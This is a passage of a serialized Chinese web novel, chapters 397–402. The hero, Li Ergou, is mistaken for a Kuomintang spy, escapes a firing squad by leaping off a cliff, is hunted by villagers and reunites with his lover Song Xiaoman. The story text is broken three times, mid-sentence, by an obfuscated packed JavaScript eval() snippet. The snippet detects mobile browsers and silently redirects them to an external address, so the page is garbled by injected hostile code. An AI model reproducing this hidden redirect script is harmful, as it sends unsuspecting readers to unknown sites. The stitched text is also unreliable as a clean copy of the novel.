“我看你是在讥讽我们党、讥讽我们伟大的红军,像你这样的狗特务,不杀不足以平民愤!来人,把这个狗特务拉出去毙了!” 李二狗腿肚子有些打颤,他没想到自己一个不经意的笑容竟引来杀身之祸! “我不是特务!你们不能滥杀无辜!”李二狗争辩道。 胡天佑深知张胜利的脾气秉性,这个人吃软不吃硬。 “特派员,看他的样子确实不像特务,我看还是把他放了吧,我派人把他送出根据地。” 张胜利冷冷地盯着胡天佑,仿佛要从他眼里挖出不可告人的秘密。 “胡政委,你和这个**特务到底是什么关系?你为何处处维护他?” 面对张胜利的质疑,胡天佑明显有些慌乱。 “特派员,您别误会,我和他并不认识。” “既然不认识,你怎么知道他不是**特务?胡政委,做事可不能只凭自己的感觉啊,咱们党最大的优势就是实事求是!” 面对张胜利这种漏洞百出的言辞,身为燕京大学高材生的胡天佑,轻易就能进行反驳,但他还是忍住了! 张胜利已经把宋千里关押起来,之所以没关押胡天佑,完全是因为他平时小心谨慎的态度。 如果团长和政委都被关押起来,那新一团就将彻底失去战斗力,为了部队,胡天佑不得不选择忍辱负重。 看胡天佑被自己怼得哑口无言,张胜利脸上露出一副胜利者的笑容。 大学生有什么了不起,还不是被我怼得哑口无言! “把这个**特务给我押出去,立即**!” 李二狗慌了,急忙说道:“我认识李云龙,我刚刚救了他们。” 李云龙虽然只是一个连长,但在整个师都是出了名的刺头,知名度比一些营长还要高。 “等一下,”胡天佑走到李二狗面前,“你刚才说你救了李云龙,到底是怎么回事?” 李二狗便把自己单枪匹马挟持**团长拯救李云龙他们团的事原原本本地说了出来。 “哈哈哈哈,”张胜利仰天大笑,“你当自己是赵子龙吗?千万人中取上将首级?你编故事也要编得靠谱一些,把我们当三岁孩子耍吗?” “我说的都是真的!”李二狗严肃地说道。 张胜利鄙夷地看了李二狗一眼,讥笑道:“你为了活命真是无所不用其极啊,我从未见过像你如此厚颜无耻之人!” “真是我救了李云龙,不信你们可以派人去打听。” “你是在教我做事吗?”张胜利似笑非笑地盯着李二狗,“你以为李云龙是什么好东西吗?他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308103|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 隐藏在我们**队伍中的反**分子!我看你们明明就是一伙的!” 李二狗这才意识到张胜利就是一个彻头彻尾的王八蛋,和他讲道理是没有任何作用的。 看来自己今天真要死在这里了! 为了寻找心中未知的理想,李二狗来到这里,没想到却为了这个子虚乌有的理想丢掉了自己的性命,想来真是可笑! 难道老婆孩子热炕头的生活不好吗? 李二狗被两名战士押着,他的双腿已不由自主地抖动起来。 梦瑶、于兰芝、**、静雯、张玲玉、宋小曼、徐青霞……一张张笑脸在李二狗眼前闪过。 “爹爹,我等你回来……” 梦瑶奶声奶气的声音令李二狗瞬间泪流满面! 不能就这样**!李二狗在心中一遍遍重复着这句话。 很快,两名战士便把李二狗押到一处山崖。 李二狗是在团部门口突然被张胜利下令抓住的,此时他身上并没有被绳子绑住! 两个战士退后一步,取下肩上的**,“咔嚓”一声拉动**,对准了李二狗。 李二狗看向山崖,足有上百米高,下面是一滩碧绿的深潭。 真是天不亡我! 李二狗回头对着两个战士诡异一笑,然后纵身跳了下去。 两名战士惊呆了! 他们赶紧看向山崖下面,李二狗的身体正在空中急剧下坠,落入深潭后,砸起一个几米高的水柱,随后便消失在深潭中。 “怎么办?” “这么高的地方跳下去,肯定已经摔死在潭里了!” “我是说我们回去怎么交待?特派员肯定会追究我们责任的!” 现在全团闻特派员的名字色变,放跑了**特务,这可是一个不小的罪名。 “砰!” 其中一个战士突然朝天放了一枪。 “你这是……” “狗特务已经被我**了,尸体被推下悬崖,咱们回去交差吧。” “哥,你真是我亲哥,兄弟我算服了!” 第398章 崩溃 李二狗落入深潭之后,巨大的惯性令他瞬间坠入潭底。 他感觉五脏六腑都被震碎了! 好在李二狗从小熟悉水性,他在下坠过程中,及时调整了落水姿势。 他从潭底游到岸边,岸边荆棘丛生,刺得他龇牙咧嘴。 李二狗抓着潭边的湿滑青苔,费了九牛二虎之力才好不容易上了岸。 虽未入冬,但深潭的湖水冰冷刺骨,浸透了他本已有些破烂的中山装。 他恨透了身上的这套中山装,每一次都是因为这身衣服而被当成**特务抓起来。 一阵凉风吹过,骨头缝里仿佛都透着一股寒气。 他瘫坐在地上大口大口地喘着粗气,身上的旧伤口被冷水泡得发疼。 密林里的雾气加上瘴气,十几步外就看不清东西。 李二狗脱下衣服,拧了拧上面的水渍,虽然他恨透了这身衣服,但此时他不得不靠这身衣服走出这片深不见底的密林。 他一瘸一拐地踩着满地腐叶往深处走去。 他记得老人们说过,顺着水流的方向总能找到出路,可这林子里的溪涧九曲十八弯,走了两个时辰,却连太阳的位置都辨不清了。 这遮天蔽日的密林,和北方的树林完全不一样。 日头偏西时,雾气渐渐散了些,却听得身后传来一阵“窸窸窣窣”的响动。 李二狗猛地回头,只见三匹灰狼正蹲在不远处的巨石上,绿幽幽的眼睛盯着他,嘴角淌着涎水。 他心里一紧,习惯性地摸向腰间,才想起身上什么都没有。 “滚开!” 李二狗捡起一块拳头大的石头,狠狠地砸了过去。 狼群灵活地躲开,为首的公狼发出一声低沉的咆哮,率先扑了上来。 李二狗侧身躲过,等这头狼再次扑过来时,他顺势抓住它的后腿,借着冲劲猛地往旁边的树干上一甩。 “咔嚓”一声,狼骨断裂的脆响混着它的哀鸣炸开,另外两匹狼见状,竟夹着尾巴退了几步。 “娘的!”李二狗大叫一声,“老子在上面被人欺负,跳到下面又被你们这些畜生欺负,都以为老子是好欺负的吗?” 他俯身捡起脚下的一根粗树枝,紧紧地握在手中。 “有种的来啊,老子非剥了你们这些畜生的皮!” 剩下的两匹狼站在不远处,好像听懂了李二狗的怒骂。 它们不敢靠近,也不愿离开。 李二狗和两匹狼就这样对峙了十几分钟,他因为精神高度紧张,双脚已有些麻木。 他不敢恋战,转身就跑。 腐叶下藏着众多的树根,李二狗几次险些绊倒在地。 一直到听不到狼嚎,他才靠在一棵老松树下喘息,后背的冷汗混着潭水,冻得他直打哆嗦。 天色擦黑时,他钻进了一片竹林。 刚走没几步,脚下突然踢到一个冰凉滑腻的东西。 借着透过竹叶的微光一看,李二狗的头皮瞬间炸了。 那是一条碗口粗的**蛇,鳞片在暗处泛着青黑色的光,信子正“嘶嘶”地吐着。 **蛇显然被惊动了,身体猛地绷紧,像一根即将弹出的弓弦。 李二狗屏住呼吸,慢慢往后退。 他知道这畜生看似慢,发起狠来却比狼还快。 退到竹林边缘时,脚下突然踩空,整个人顺着陡坡滚了下去。 “砰”的一声,他撞在一块巨大的岩石上,眼前一黑差点晕过去。 恍惚间,竟听到远处传来水流声,比林子里的溪涧要洪亮得多。 他咬着牙爬起来,循着水声深一脚浅一脚地走过去,裤腿被荆棘划得破烂不堪,手心也被尖石磨出了血。 不知走了多久,前方突然透出一片朦胧的光亮。 李二狗精神一振,加快脚步穿过最后一片灌木丛,霎时愣在原地。 眼前是一条宽阔的河流,对岸隐约有灯火在闪烁,竟是一个小小的村落。 他瘫坐在河边,看着水里自己狼狈的倒影,忍不住笑出了声,笑着笑着又淌下泪来。 从山崖到深潭,从深潭又到密林,再从恶狼到巨**,九死一生的滋味就像一场醒不过来的噩梦。 好在他还活着,活着就能见到梦瑶,就能见到那些他日思夜想的女人。</p ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313986|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 李二狗一瘸一拐地进了村子。 他看到有一户人家屋内还有亮光,便抬手敲了敲柴门。 “谁?”屋内的人警惕地问道。 李二狗听出是一个年轻姑娘的声音,他赶紧说道:“你好,我是过路的,能讨碗水喝吗?” 屋里沉默了片刻,然后房门打开了,一个约莫十七八岁的女子披着一件小花袄走了出来。 “大妹子,口渴难耐,能给碗水喝吗?” 姑娘上下打量了李二狗一番,然后笑容满面地说道:“屋里有热水,你进屋里喝吧。” 深更半夜,孤男寡女,李二狗面对姑娘的热情邀请,有些犹豫。 “算了,我喝点水缸里的凉水就好。” 姑娘依旧保持着笑容,热情地说道:“还是进屋里喝吧,夜凉如水,喝了凉水会肚子疼的。” 她的笑容在皎洁的月光下显得非常圣洁。 盛情难却,李二狗便跟着她进了屋。 屋内陈设非常简单,却显得十分干净,李二狗感觉到一种温馨的感觉。 “姑娘。” “不许动!” 门后突然出现一个老汉,手里端着一支鸟铳对准了李二狗。 刚才还笑容满面的女子已经躲到老汉身后。 “大爷,别误会,我是好人。” “好人?哪有好人深更半夜穿成你这个样子?” 又是自己身上这身可恶的中山装惹的祸! 李二狗真想立马脱下来扔在地上。 “大爷,我真的是好人,我从悬崖上掉了下来,正好落在一个深潭里,我走了好几个时辰才走出那片密林。” 李二狗身上的破烂衣服污垢不堪,脸上也被划出了几道血印子,确实像刚从深山老林里走出来的。 但现在根据地正被**围剿,到处都在打仗,李二狗确实太像**特务了。 “爹爹,别信他的话,我看他就是狗特务!” 女子瞪了李二狗一眼,丝毫没有了先前的温柔。 “喜儿,快去里屋找根绳子来。” 李二狗听到“绳子”二字,彻底崩溃了! 第399章 我觉得那个人不像坏人 喜儿赶紧跑到里屋,拿出一根长长的缰绳,这是以前家里拴牛使用的。 “爹爹!” 喜儿尖叫一声,手中的缰绳“吧嗒”一声掉在地上。 原来李二狗已经抢过喜儿爹手里的鸟铳,反转枪口对准了他。 喜儿爹担心李二狗会对喜儿动邪念,赶忙说道:“喜儿,快跑,别管我。” “爹爹……”喜儿早已被吓得泪流满面,她目光呆滞地看向李二狗,半哀求半威胁地说道:“你快放了我爹爹,不然我就喊人了。” 李二狗对付女人有自己一套办法,他微微一笑,气定神闲地说道:“你喊吧,不过我可告诉你,我胆子可很小,要是我这手不小心一抖,你懂得……” 喜儿立即懂了,她“扑通”一声跪在李二狗面前。 “求求你放了我爹爹,你……你想对我怎么样都行!” 喜儿突如其来的表现倒把李二狗整得不会了。 李二狗收起鸟铳,喜儿赶紧起身扶住已经吓得不停颤抖的老人。 “你要是敢欺负我女儿,我就算搭上自己这条老命也要和你拼了!” 李二狗不明白,自己明明长着一张阳光灿烂的脸,为何总被人误认为是特务,就因为自己身上这套中山装吗? 衣服是无罪的! “我早就和你们说过,我不是坏人,可你们偏不相信,我要真是坏人,你们想想,会是什么后果……” 李二狗看向喜儿,喜儿吓得脸都红了。 “可……你……” 李二狗最近接二连三地被人误会,他早已心力交瘁。 “好了,不打扰了你们了,我走了,不过……” “不过什么?”喜儿以为李二狗又要反悔,提出过分的要求。 “不过得委屈你们一下。” “你要干什么?”喜儿爹一听,紧张地把喜儿挡在自己身后。 “你们不要紧张,为了咱们对彼此都放心,我只能先委屈你们一下,我会在外边把门锁住,明天天亮之后会有人来放你们出去。” 两人不敢违拗李二狗的意思,只能沉默着不说话。 李二狗刚迈出房门,又转身看向喜儿。 喜儿吓得一个激灵。 她双手交叉抱在胸前,惊恐之情溢于言表。 “你要干什么?” “能不能给我找点吃的?我实在是太饿了。” 喜儿看向她爹,老人微微点了点头,喜儿便去旁边的一个橱柜里拿出一个窝头。 她想了想,又拿出一个窝头。 “给你。” 李二狗接过窝头装在兜里,连声感谢之后走出房门。 他把房门关上,上了锁,把鸟铳和钥匙都放在门前的一块石头上,然后转身消失在夜色中。 喜儿爹见李二狗走了,快速上前把房门在里面闩上。 “喜儿,快帮爹爹把桌子抬过来。” 喜儿没明白他的意思,但还是上前和他一起把一张八仙桌抬到门后,挡住房门。 喜儿正想问为何要这样做时,喜儿爹突然大声喊叫起来。 “有特务,有特务,快来抓特务!” 喜儿脸色大骇,连忙拉住她爹,质问道:“爹爹,你这是干什么?你这不是失信于人吗?” “我的傻闺女啊,和**狗特务还讲什么诚信?他就是来破坏咱们根据地的!” “快来人啊!有特务,快来抓特务!” 喜儿爹继续大声喊叫着,声音在寂静的夜里显得格外嘹亮。 刚走出不远,正蹲在一块石头上啃窝头的李二狗听到呼喊声,一紧张,半个窝头卡在喉咙里差点把他噎死。 “这爷俩,真是太不讲究了!” 李二狗起身就跑,绝不能再被他们抓住。 村民们听到喜儿爹的喊叫声,赶紧打着火把来到喜儿家。 他们看到房门上面上着锁,一把鸟铳和一把钥匙放在门前的石头上,赶紧拿起钥匙打开房门。 “杨老爹,你们没事吧?到底出什么事了?”一个干部模样的女人扶住杨老爹,关心地问道。 “闺女啊,不好了,有**特务偷偷到咱们村子里来了。” “特务? ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313987|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ”女干部大骇,“特务在哪?” 大家听到村子里来了特务,精神立刻变得紧张起来。 “刚刚他闯入我家里,又吃又拿,还把我们反锁在屋里,现在已经跑出去了。” 这位女干部是上级组织不久前刚刚派到根据地进行**宣传动员的干部,她听到有**特务潜入这个红色堡垒村,立刻变得紧张起来。 “牛村长,必须把这个特务揪出来,不能让他离开村子,不然我们都得撤离。” 村长名叫牛得草,是一个五十多岁的老头,皮肤黝黑,显得很干练。 “葛二蛋,你马上带人去找,一定不能让这个狗特务离开这里。” 民兵队长葛二蛋虽然个头不高、肩膀不宽,但精神矍铄,一看就是个练家子。 “放心吧,村长,我带人就是掘地三尺,也一定会把这个狗特务抓住。” 葛二蛋带领着几个民兵去了。 女干部说道:“牛村长,咱们村民兵太少,我建议立即发动所有的村民加入到搜捕队伍中来,让狗特务彻底陷入人民群众的**大海之中,定让他插翅难逃。” “宋部长,你说得对,我这就去发动。” “牛村长,等一下,”女干部叫住牛得草,“特务都是非常凶残的,一定不要让乡亲们单独行动,要三五个人一组,发现线索,立刻鸣锣示警。” 牛得草忍不住夸赞道:“还是宋部长站位高、主意多,我这就去安排。” 牛得草带人走后,宋部长见喜儿神色有些不对,便上前拉住她的手,柔声安慰道:“喜儿,刚才那个特务没把你们怎么样吧?” 喜儿脸更红了,她羞涩地说道:“姐,他……他并没有把我们怎么样,我只是觉得……” 喜儿瞅了一眼她爹,欲言又止。 宋部长看喜儿扭扭捏捏的样子,和平时完全是换了一个人。 她知道她肯定心里有话要说,便鼓励道:“喜儿,这里没有别人,有什么话你尽管说,姐给你做主。” “姐,”喜儿显得心事重重,“我觉得那个人……不像是坏人。” 第400章 二狗,我相信你 杨老爹一听,急了,嚷道:“喜儿,你一个姑娘家家的懂什么?坏人会把自己是坏人写在脸上吗?” “爹,他并没有伤害我们。”喜儿急辩道。 “他没伤害我们?那他怎么把咱们关在屋里?还用枪指着我?”杨老爹不服气地吵吵道。 “爹!你……” “丫头片子,头发长见识短,赶紧给我回里屋待着去。” 杨老爹说完,突然意识到自己不应该在宋部长面前说这种话,便连忙解释道:“宋部长,您别多心,我不是说你。” 杨老爹说话专往人心窝肺管子怼咕,他不解释还好,这一解释整得宋部长吃冰棍拉冰棍——没话(化)了。 “杨老爹,我还有事,你和喜儿一定关好门,防止特务回来报复。” “谢谢宋部长,你也要注意安全。” 宋部长着急忙慌地出了门,喜儿趁她爹不注意,也悄悄跟了出去。 “谁?” 宋部长听到声音,掏出随身携带的一把勃朗宁小手枪握在手中。 “姐,是我,喜儿。” 喜儿跑到宋部长跟前,刚才出门走得急,额头上已经噙满了一层细细的汗珠。 “喜儿,你怎么来了?我不是让你在家里关好门吗?” “姐,这深更半夜的,我不放心你,我来和你做个伴。” 喜儿说着便俏皮地挽住宋部长的胳膊,就像邻家的一个小妹妹。 “抓特务可不是闹着玩的,太危险了,你还是快点回家吧。” “我不!姐,你就让我跟着你吧!我会保护好自己的……还有你。” 喜儿之所以非要跟着宋部长,是因为她觉得李二狗并不是国民党特务,她怕大家误伤了李二狗。 宋部长没有办法,只能答应她。 “那你一定要跟紧我,千万不能擅自行动。” “放心吧,姐,我熟悉这里的地形,有我在,你不会迷路。” 这一带的地形确实容易迷路,李二狗此时已经迷了路。 他听到杨老爹的喊叫声之后,便急着离开村子,可是绕了一大圈又回到了原点。 村里的民兵和广大热心群众都举着火把,对村子周围的树林展开了地毯式搜索。 李二狗看到有几个人朝自己这个方向走来,他瞅了瞅周围,除了几棵低矮的灌树丛,只剩下一个柴草垛,根本没有可以躲避的地方。 他伏在柴草垛后,听着不远处传来的狗吠和呼喊声,心提到了嗓子眼上。 好在那几个民兵并没有走向柴草垛的方向,听到他们的脚步声越来越远,李二狗悬着的心才稍微放松了一点。 “大家往东边搜!一定搜仔细点,他肯定跑不远!”有人喊着,声音在寂静的夜里显得格外嘹亮。 李二狗躲在柴草垛后面随时都有暴露的危险。 他突然有了一个主意。 老人们常说,最危险的地方往往是最安全的。 他猫着腰从柴草垛后面钻出,借着树林投下的暗影,像一只受惊的兔子蹿进了村子里。 村子里的民兵以为李二狗不敢待在村子里,所以大部分人都在村子周围搜索,而村子里面此刻却显得很空虚。 刚刚下过一场小雨,脚下的青石板被雨水泡得发滑,李二狗好几次差点绊倒,怀里揣着的那半块窝头硌得肋骨生疼。 村子里静得可怕,只有各家窗纸上透出的昏黄灯光,和偶尔传来的婴儿啼哭。 李二狗贴着墙根往前走,路过一户人家的院墙时,突然听到胡同口传来脚步声,他慌忙弯腰躲进旁边堆着的柴草垛里。 “宋部长,你还是歇会儿吧,这都搜好几遍了。” 牛得草虽然比宋部长大很多岁,但他对上级组织派来的干部格外尊重,甚至带着一点讨好的殷勤。 “牛村长,还得再搜仔细一些,咱们好不容易建立起来的堡垒村,不能就这样轻易暴露了。”宋部长的声音不大,甚至有一点温柔,却透着不容置疑的威严。 “抓不到他,全村都得担风险。” 李二狗只觉得这个女人的声音非常熟悉。 他把身子从柴草垛里往外伸了伸,透过缝隙往外看去。 由于刚刚下过一场小雨,天空并没有星光,李二狗隐约看见一个穿着灰布褂子的女人正站在胡同口,梳着齐耳短发,远远地只能看到一个模糊的侧脸的轮廓。 等他们脚步声远了,李二狗才敢从柴草垛里钻了出来。 他不敢再往前走,绕着屋后的夹道。 屋后有一间废弃的磨坊,或许能在里面躲上一阵子。 他刚刚摸到磨坊的木门,身后突然传来拉动枪栓的声音。 “不许动!” 李二狗浑身一僵,缓缓转过身来。 此时,月亮刚从云层里钻了出来,月光撒在她的脸上。 那双眼,那鼻梁,还有那饱满又精致的嘴唇——李二狗的呼吸瞬间停滞了。 “小……小曼?” 宋部长握着枪的手猛地一颤,瞳孔里同样写满了震惊。 “二……狗?”她下意识地喊出这个令她魂牵梦萦的名字,随即又抿紧嘴唇,枪口却不由自主地垂了下去。 李二狗看着她,喉咙发紧。 眼前的宋部长,竟是宋小曼! 两人几乎同时紧紧地抱住对方。 宋小曼自从上次从武汉紧急撤离之后,一直担心李二狗的安危,没想到两人竟在这里重逢了。 “二狗,我以为你……” 话未说完,早已泪流满面。 “小曼,我没事,我很好,你怎么样?你还好吗?” “我也很好,只是我……特别想你!” 两人情不自禁地吻了起来。 突然,宋小曼意识到不对劲。 李二狗为何会突然出现在根据地,想到他和力行社湖北站的一个女特务关系非同一般…… “你……”宋小曼推开李二狗,声音有些发颤,“你怎么会是特……” “小曼,我不是特务。”李二狗急忙解释道,“我是路过此地,被人误会了,你要相信我!” 宋小曼的眉头紧锁,眼神复杂地打量着他。 他的衣服破了好几处,胳膊上缠着带血的布条,脸上沾着泥,可那双眼睛,还像两人初见时一样明亮。 “二狗,我相信你。” 两人再次相拥相吻,热烈又深沉。 正在李二狗情难自抑地伸手解开宋小曼的上衣衣扣时,宋小曼突然把他推开。 “小曼,我……” 李二狗刚要解释,却发现宋小曼的眼睛看向自己的身后。 第401章 他是我的同乡 “喜儿,你什么时候来的?” 喜儿突然出现在李二狗身后,她简直不敢相信自己的眼睛。 她看到平时端庄大方的宋小曼竟和一个男人抱在一起亲嘴,而这个男人就是刚刚闯入自己家中的国民党特务。 她怎么可以和男人亲嘴?而且是和特务亲嘴! “姐,你……他……你们……” 喜儿也不知道为什么,看到刚才的这一幕,自己的心竟有一丝隐隐的疼痛。 “喜儿,你听我解释,”宋小曼绕过李二狗走到喜儿跟前,“这个人不是特务,他是……我的一个同乡。” “同乡?” 喜儿就是再没见过世面也知道男女抱在一起亲嘴意味着什么。 宋小曼努力保持着淡定的笑容。 “是啊,他是我的同乡。” “可你们……” 喜儿话未说完,葛二蛋已经带着几个民兵赶了过来。 “狗特务……” 葛二蛋说着已经举枪对准了李二狗。 宋小曼急忙阻止道:“葛队长,快把枪放下,这都是误会!” 宋小曼是上级组织派来的,在村民中享有很高的威信,更是葛二蛋心中的七仙女。 “宋部长,他……” 原来刚才喜儿远远地看见宋小曼用枪指着李二狗,便让小娟去向葛二蛋报告情况,自己则悄悄走了过去。 “葛队长,我的话你还不相信吗?我认识他,他不是特务。” “大家把枪放下,”葛二蛋命令道,然后他看向李二狗,不自觉地低下了头。 和眼前的这个男人比起来,无论是长相还是气质,自己都和他有着天壤之别。 “葛队长,你快把人带回去吧,让大家赶紧回去睡觉,这里交给我就行了。” 葛二蛋从宋小曼看李二狗的眼神中发现两人的关系非同寻常。 “宋部长,他……” 宋小曼笑道:“放心吧,我会处理好的。” 葛二蛋没有办法,只能带着民兵三步两回头地走了。 “喜儿,你怎么还不回去?” 喜儿低着头,两根手指缠在一起,脚上绣花鞋面上的一对鸳鸯在月光下显得活灵活现。 “姐,我……” 喜儿之所以留下来,是因为她很想知道宋小曼和李二狗到底是什么关系,可她自己又不好意思问。 一个未出阁的农村姑娘确实张不开嘴。 “喜儿,”宋小曼丝毫猜不到喜儿的心思,“你快点回去吧,不然你爹要着急了。” 喜儿确实没有再留下来的理由,她偷偷看了一眼李二狗,发现李二狗也在看自己,脸顿时红成了一个红苹果。 “姐,我走了!” 喜儿说完便转身跑开了。 “这丫头,今晚怎么奇奇怪怪的?好像变了个人一样。” 宋小曼猜不透喜儿的心思,李二狗却看懂了。 李二狗心想,喜儿可真是一个单纯可爱的姑娘。 “二狗,我们回去吧。” “去哪?” 宋小曼听出了李二狗的话中音,笑道:“回我们工作队,放心,我们是好几个同志住在一起。” 李二狗嬉笑道:“我主要是怕村里人在背后议论你,我倒是无所谓。” 李二狗不怀好意的笑容令宋小曼心动不已。 “你可真讨厌!” 工作队驻扎在村里的一所小学校里,一共有四个人,三个女人一个男人。 宋小曼和两个女同志王湘云、代小芳住在一间屋里,张泽明则自己住在一间屋里。 很显然,今晚李二狗不可能和宋小曼共处一室,他只能和男同志张泽明住在一屋。 轰轰烈烈地抓了一晚上特务,没想到却是这个结果,大家都好奇地看着李二狗。 王湘云是一个心直囗快的姑娘,她悄悄问宋小曼:“姐,这个人还挺帅的,他真是你同乡?” 宋小曼没想到自己情急之下的一句话竟在村里传播的这么快。 “湘云,就你多嘴,不该问的别问。” “嘻嘻,人家就是好奇嘛。” “年纪轻轻的哪来那么多好奇心?你去下碗面条,他肯定饿坏了。” 李二狗确实饿坏了。 他不好意思地说道:“麻烦大家了。” 王湘云笑道:“不麻烦,大家都是一家人嘛,嘻嘻,我去给你煮面。” 王湘云走后,宋小曼才介绍道:“我给大家介绍一下,这位是我的……同乡李二狗。” 代小芳捂着嘴笑。 宋小曼轻轻地打了她一下。 “笑什么?”她笑道,“这个爱笑的傻姑娘叫代小芳,他叫张泽明,刚才那个叫王湘云,我们都是一个工作队的同志。” 李二狗伸出手和大家一一握手。 “很高兴认识大家,以后请多关照。” “有宋部长关照你就够了,哪能轮得到我们啊?嘻嘻。” 宋小曼仿佛被人揭穿了心事一般,她推了代小芳一下,催促道:“就你话多,赶紧回屋睡觉,明天还得早起。” “好好好,”代小芳笑得更加灿烂,“我们都去睡觉,给你们两个人留出私人空间。” 宋小曼作势要打她,她嬉笑着躲开了。 “泽明,你再不走,宋部长就要打你了。” 张泽明是一个二十出头的小伙子,他刚参加革命不久,从他见到宋小曼的第一眼就无可救药的爱上了这个女人。 可他又是一个极度自卑的人,因为身材矮小,面对白天鹅一样美丽的宋小曼,他只能将这份暗恋深深地埋藏心底。 这次见到李二狗,无形中激发了他埋藏在心底的情愫,他内心竟有了几分醋意。 面对代小芳的调侃,他仿佛没听见一般。 “你们先聊,我回屋了。” 张泽明说完转身回了屋。 代小芳早就看出张泽明暗恋宋小曼,其实她心里也在暗恋张泽明。 “这个人真无趣,我也回屋了。” 一时间,屋里突然变得安静下来。 “坐吧。”宋小曼指了指李二狗旁边的一个马扎。 李二狗没有坐下,反而盯着宋小曼的眼睛,一副迷醉的表情。 宋小曼被他看得一张俏脸通红,娇嗔道:“你看什么?他们都盯着咱们呢。” 李二狗转头看了看依旧亮着灯的两个房间,然后悄声说道:“他喜欢你。” 第402章 李二狗百思不得其解 宋小曼没想到李二狗的眼睛这么毒辣,只看了一眼就能看出张泽明暗恋自己。 当初在武汉,他也只是看了一眼就看出黄一博喜欢自己。 自己在这个男人面前简直是个透明人。 “我真怀疑你上辈子是孙猴子,有一副火眼金睛。” “嘿嘿,我可不是猴子,我是狗。”李二狗故意玩笑道,逗得宋小曼咯咯直笑。 “咳咳咳!” 张泽明屋里突然传出一阵咳嗽声,仿佛是在无声地抗议,然后他屋里的煤油灯便熄灭了。 “都怪你!”宋小曼埋怨道,“非逗我笑,这回好了,今晚我还想让你和他住一起呢,你说现在怎么办?” “还能怎么办?”李二狗表现出一副无辜的样子,“我只好委屈一下自己,和你住一起喽。” “你真讨厌!” 两人嬉笑之时,王湘云端着一碗热气腾腾的面条走了出来。 “哎吆,非礼勿视,非礼勿视……” 王湘云笑着把面条放在桌上。 “谢谢你,这么晚了,耽误你睡觉了。” 王湘云笑道:“可不是嘛,今晚为了抓你,害得大家都没睡。” 李二狗尴尬一笑,王湘云自觉失言,吐了吐舌头,赶紧说道:“不打扰你们了,我回屋睡觉去了。” 宋小曼笑意盈盈地看着李二狗,柔声道:“快吃吧,你一定饿坏了。” 李二狗再也顾不上矜持,狼吞虎咽地吃了起来。 一碗面条吃得连汤都没剩。 他伸了一个懒腰,然后打了个长长的饱嗝,不禁感慨道:“好多天没吃过一顿饱饭了!” 宋小曼突然变得严肃起来。 “二狗,我想和你说点正事。” “怎么了?突然变得这么严肃?” 李二狗知道宋小曼要说什么,便故意表现出一副轻松的样子。 “你到底为什么到我们根据地来?”宋小曼盯着李二狗的眼睛,“可千万别说是为了找我!” 李二狗没想到自己想好的理由就这样轻易被宋小曼提前扼杀了! “小曼,我就是来找……” “我不信!”宋小曼打断了李二狗的话,“你到武汉就很蹊跷,难道你提前知道我在武汉吗?” 宋小曼的话令李二狗知道自己不能再对她隐瞒,一个谎话需要无数个谎话来圆,他不想再说谎话了,尽管这个谎话是善意的。 “二狗,你别怪我这么谨慎!你不知道,我们根据地正在开展肃反运动,而且国民党反动派正在调集重兵对我们根据地进行围剿,现在是非常时期,你一定要告诉我实话,好吗?” 宋小曼说着便握住李二狗的手,她不是不相信他,只是她想要知道事情的真相。 李二狗拍了拍宋小曼的手背,郑重地说道:“我的故事很长,你还要听吗?” “不管多长,我都要听。” 李二狗便把自己因为什么内心迷惘,继而到红军根据地来寻找未知理想的事情全部告诉了宋小曼。 尽管李二狗的话很离奇也很令人费解,但宋小曼还是选择了相信。 “还有呢?” 李二狗又把在火车上如何和徐青霞相遇,之后被叛徒黄一博出卖,被捕后如何逃出,之后联手武汉地下党和力行社斗智斗勇的事情全部告诉了她。 当然他和徐青霞、王曼春之间发生的一些不可告人的事情,李二狗全部隐去没说。 李二狗讲述的时候,宋小曼一直在静静地听着。 当她听到黄一博叛变革命,出卖李二狗的时候,还是震惊不已。 她没想到平时总是满嘴大义的黄一博竟然会叛变革命出卖李二狗。 “黄一博出卖了你?他怎么会做出这种事情!” “他不仅出卖了我,还差点让武汉工委全军覆没。” “这个黄一博,他实在是太可恶了!” “他已经被我除掉了,你们刘东书记知道此事。” 李二狗并没有告诉宋小曼,黄一博是因为嫉妒她喜欢李二狗才向力行社湖北站出卖了自己。 这样她内心会自责,而李二狗不愿意她自责。 “还好你没事,否则我……” 李二狗摩挲着宋小曼的手背,安慰道:“都过去了,你千万不要自责。” 两人相视一笑,彼此看到了对方眼睛里幸福的自己。 “之后你就来到我们根据地?” “对!” 李二狗又把自己进入鄂豫皖根据地之后数次被抓、单枪匹马解救李云龙,自己差点被当成特务枪毙、自己又是如何跳下悬崖来到这里的事情全部告诉了宋小曼。 